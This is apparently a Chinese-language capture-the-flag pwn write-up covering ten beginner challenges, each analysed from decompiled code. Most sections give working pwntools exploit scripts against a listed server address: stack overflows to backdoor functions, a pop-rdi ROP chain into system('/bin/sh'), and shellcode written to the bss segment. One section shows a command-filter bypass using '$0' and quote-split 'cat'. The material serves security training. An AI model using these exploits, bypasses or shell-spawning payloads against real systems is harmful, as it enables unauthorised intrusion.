sandbox
在ida中分析,main函数:
显然只有box()有利用的可能,查看box函数:
代码如下:
__int64 box()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input your command");
puts("No sh,no cat,no flag.");
system("ls");
read(0, buf, 0x20u);
if ( strchr(buf, 115) || strchr(buf, 104) || strstr(buf, "cat") || strstr(buf, "flag") || strchr(buf, 45) )
{
puts("Illegal command.");
exit(0);
}
system(buf);
return 0;
}
-
先nc一下看看可以ls出哪些内容

-
发现有flag,那我们就要尝试去cat flag
-
而代码中read函数:read(0, buf, 0x20u);表示读取32字节(0x20)到40字节缓冲区,无法造成栈溢出
-
而下面还有个strchr函数,用于过滤
-
思路很明确了,我们需要进行绕过获取flag
-
由于函数过滤了s、h、cat、flag和-,无法cat flag,我们需要想其他的办法(这个得看积累了)
-
我想出来的办法是 $0,ca’’t f*
-
在 Linux Shell 脚本中,$0是一个特殊变量,其作用是**获取当前正在执行的脚本或命令的名称
-
获得flag
creeper
把题目文件拖入IDA查看,显然可利用漏洞应在game()函数中。 分析game函数源代码:
__int64 game() { char buf[64]; // [rsp+0h] [rbp-40h] BYREF puts("Creeper?"); read(0, buf, 0x100u); if ( strlen(buf) == 15 ) { puts("Aw man"); system("cat flag"); } else { puts("Si............"); } return 0; }首先,char buf[64]表明缓冲区大小为64; 而read(0, buf, 0x100u)可向buf中写入0x100字节的数据,存在栈溢出漏洞; checksec看一下开启了什么保护:
发现,无canary,但是开启了NX保护;
NX保护简要说明:NX= No-eXecute (不可执行),核心思想: W^X(Write XOR eXecute)原则 —— 一块内存区域,要么可写(Writable)但不可执行(eXecutable),要么可执行但不可写。不能同时拥有写和执行权限。
但是这个题用不着,因为只需要满足条件strlen(buf)== 15,我们就可以执行cat flag指令,从而得到flag;
直接输入14个1,回车就可以了。
Q:为什么是14个1呢?
A:当你通过终端输入字符串时,按下回车(Enter)键会向输入流中添加一个 \n字符(换行符)。部分输入函数(如 read() )会将其读入缓冲区,成为字符串的一部分。
简单溢出
先checksec一下:
这是个64为程序,开启了NX保护;
拖入IDA查看,发现main函数没什么东西,观察左侧栏:
左侧栏有一个fact函数,代码如下:
int fact()
{
return system("/bin/sh");
}
一个很明显的后门函数,只要我们能够执行fact函数,便能获得shell;
main函数有一个scanf函数,可以向v4写入数据,大概率溢出点就出现在这里,双击v4;
可以看到缓冲区大小是48,之后是ebp,再之后是ret(返回地址),我们只要利用栈溢出漏洞,把ret覆盖为fact函数的地址,那么就可以夺得shell。
exp.py:
from pwn import *
r=remote('1.95.36.136', 2142)
elf=ELF('./hahaha')
fact_addr=elf.symbols['fact']
offset=48+8
payload = b'A' * offset + p64(fact_addr)
r.sendline(payload)
r.interactive()

system
先checksec了解基本信息:
有canary保护和NX保护。
IDA查看:
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdout, 0);
setbuf(stdin, 0);
printf("input:");
read(0, buf, 0x1Eu);
system(buf);
return 0;
}
而cat flag\n(9 字节 )< 0x1E(30字节) 直接nc一下,输入cat flag即可。
Emm
checksec:
32位程序,开启了NX保护。
拖入IDA:
main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0);
setbuf(stdin, 0);
yes();
puts("emmmmmm");
return 0;
}
显然只有yes函数可利用,查看yes函数:
int yes()
{
_BYTE buf[88]; // [esp+0h] [ebp-58h] BYREF
puts("/bin/sh");
read(0, buf, 0x100u);
return 0;
}
显然read函数可写入buf的大小远大于buf,存在栈溢出漏洞;
而在侧栏看见存在flag函数,是后门函数:
跟“简单溢出”一题类似,只需要覆盖返回地址为flag的地址即可,但注意这是32位程序。
exp.py:
from pwn import *
r=remote('1.95.36.136', 2111)
elf=ELF('./emm')
flag_addr = elf.symbols['flag']
offset=88+4
payload = b'A' * offset + p32(flag_addr)
r.sendline(payload)
r.interactive()
运行脚本,获得flag:

Choice
先checksec:
64位程序,只开启了NX保护,拖入IDA查看:
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts(&s);
puts("Menu:");
puts(a1);
puts(a2);
puts(a3);
__isoc99_scanf(&unk_400A75, &v4);
if ( v4 == 1 )
{
Data1();
}
else if ( v4 == 2 )
{
Data2();
}
else
{
Data3();
}
return 0;
}
可以看出这是一道菜单题,可以先nc试着运行一下,体验一下流程。 也就是先让你输入一个数字,赋值给这里的v4,然后进入对应的函数。 先分析这三个Data函数:
int Data1()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts(&byte_400A78);
read(0, buf, 0x35u);
return printf(&format);
}
int Data2()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts(&byte_400AA8);
read(0, buf, 0x35u);
return printf(&format);
}
int Data3()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts(&byte_400AD0);
read(0, buf, 0x50u);
return printf(&format);
}
可以看出三个函数都是类似的,都有一个read函数,和一个48字节大的buf,Data1和Data2都最大只能写入0x35字节,也就是48+5字节,是无法覆盖到返回地址的,只有Data3可以实现覆盖函数返回地址,因此我们需要先输入3,进入Data3函数,再利用栈溢出漏洞获得flag.注意到:ida的左侧栏有个Shell函数,是后门函数,可以直接获得shell,因此要覆盖返回地址为Shell函数的地址。 exp.py:
from pwn import *
r=remote('1.95.36.136', 2105)
elf=ELF('./Choice')
r.sendline(b'3')
Shell_addr=elf.symbols['Shell']
offset=48+8
payload=b'A'*offset+p64(Shell_addr)
r.sendline(payload)
r.interactive()
运行脚本:

overload1
先checksec一下:
64位程序,开启了NX保护。
IDA中查看:
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
_BYTE v4[270]; // [rsp+0h] [rbp-110h] BYREF
_BYTE v5[2]; // [rsp+10Eh] [rbp-2h] BYREF
init(argc, argv, envp);
puts(&s);
puts(&byte_4009ED);
__isoc99_scanf(&unk_4009F7, v5);
getchar();
if ( v5[0] == 121 )
{
puts(&byte_4009FA);
result = gets(v4);
}
else
{
result = printf(&format);
}
if ( v5[1] == 97 )
return system("/bin/sh");
return result;
}
可以看出,我们最终的目的就是执行system(“/bin/sh”),也就是需要使v5[1]== 97,97是a的ascii码。
先nc一下,看看大致的流程:
121 是 ‘y’ 的ASCII,输入y就会执行
puts(&byte_4009FA);
result = gets(v4);
gets函数,算是栈溢出的老熟人了,无输入长度限制,这里基本上就有溢出点,看看可以怎么利用。
而gets(v4),把输入的数据存放在v4中,很可能v4的地址在v5之前,可以通过gets来溢出v4从而覆盖v5,在IDA中查看v4和v5的相关信息:
v4也就是var_110[270],v5紧跟其后,v5[1]也就是var_1,通过gets溢出覆盖var_1即可。
exp.py:
from pwn import *
r=remote('1.95.36.136', 2109)
offset=270+1
payload = b'A' * offset+ b'a'
r.sendline(b'y')
r.sendline(payload)
r.interactive()

x64
checksec:
64位程序,很好,啥都没有。IDA查看:
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
function();
return 0;
}
也就是先初始化,再执行function函数,查看function函数:
ssize_t function(void)
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200u);
}
buf缓冲区是128,而read函数可向buf写入0x200的数据,显然存在溢出点,继续在ida中查看是否有其它可利用的地方。 左侧栏看到一个Shell函数:
int __fastcall Shell(char *a1)
{
return system(a1);
}
shell函数接受一个参数a1,作用是执行system(a1),那我们可以考虑让a1== “cat flag”,思路就是通过read函数造成的溢出,覆盖返回地址为shell函数的地址,并正确传参。
64位程序传参规则是前六个参数依次放入寄存器 RDI,RSI,RDX,RCX,R8,R9,因此a1的值是从rdi里找的,我们需要使用ROPgadget寻找rdi_ret的地址:
而shift+f12发现有个/bin/sh字符串,这就是a1需要的值,记录下它的地址。
需要注意的是,shell函数的汇编代码里,在system调用之前会有给rdi赋值的操作,也许会把期望的rdi弄没,因此我们直接把返回地址覆盖为system函数的地址
编写exp.py如下:
from pwn import *
r=remote('1.95.36.136', 2077)
elf=ELF('./x64')
offset=128+8
rdi_ret_addr=0x4007e3
system_addr=elf.symbols['system']
bin_sh_addr=0x601060
payload = b'A' * offset+ p64(rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()
payload = b’A’ * offset+ p64(rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)解释:
先b’A’ * offset一直覆盖到保存的rbp,之后的rdi_ret_addr就把原来的返回地址覆盖了(也就变成了ret rdi_ret_addr,此时rsp指向此处,执行完ret后,rsp指向 bin_sh_addr),接下来就会执行操作pop rdi;ret(pop rdi把此时rsp指向的bin_sh_addr弹出给了rdi,然后rsp指向system_addr,然后继续执行ret,开始执行system函数,system函数会把rdi的值作为参数)。

你是大佬还是菜鸡
checksec:
64位,开启NX保护。在ida中查看:
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v4 = 0;
puts("Hei! I'll give you 2 ways!");
puts("Chose who you are!");
puts("1. Da Lao");
puts("2. Cai Ji");
__isoc99_scanf("%d", &v4);
if ( v4 <= 0 || v4 > 2 )
exit(0);
if ( v4 == 1 )
dalao();
caiji();
return 0;
}
也就是输入一个数字,如果是1就进入dalao()函数,是2就进入caiji(),其他数字直接退出程序。 分别查看两个函数:
void __noreturn dalao()
{
puts("You are joking!");
exit(0);
}
ssize_t caiji()
{
_QWORD buf[3]; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+18h] [rbp-8h]
__int16 v3; // [rsp+1Ch] [rbp-4h]
memset(buf, 0, sizeof(buf));
v2 = 0;
v3 = 0;
return read(0, buf, 0x64u);
}
显然dalao函数没什么作用,分析caiji函数,显然read函数可以进行溢出,双击buf:
可以看出到返回地址的偏移量是0x28,而左侧栏发现存在后门函数hint,编写脚本exp.py如下:
from pwn import *
r=remote('1.95.36.136', 2140)
elf=ELF('./pwn')
r.sendline(b"2")
offset=0x28
hint_addr=elf.symbols['hint']
payload=b'A'*offset+p64(hint_addr)
r.sendline(payload)
r.interactive()

Easy_ShellCode
checksec:
32位程序,没保护。ida中查看:
main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
Start();
return 0;
}
查看Start函数:
ssize_t Start()
{
_BYTE buf[104]; // [esp+0h] [ebp-68h] BYREF
init();
write(1, "Please Input:\n", 0xEu);
read(0, &str, 0x100u);
puts("What,s your name ?:");
return read(0, buf, 0x100u);
}
可以看到可以通过read函数写入两次数据,而第二个read函数存在溢出漏洞,且没发现后门函数,也没有system,/bin/sh等字样,查看第一个read函数中的str,双击,发现位于bss段,且没开NX保护,写入的数据是可执行的,因此思路是:先通过第一个read往bss写入shellcode,再用第二个read进行溢出,执行shellcode。 exp.py:
from pwn import *
r=remote('1.95.36.136', 2084)
context(arch='i386', os='linux')
offset=0x68+4
shellcode = asm(shellcraft.sh())
bss_addr=0x0804A080
r.sendline(shellcode)
paylode=b'A'*offset + p32(bss_addr)
r.sendline(paylode)
r.interactive()
运行脚本,获得flag: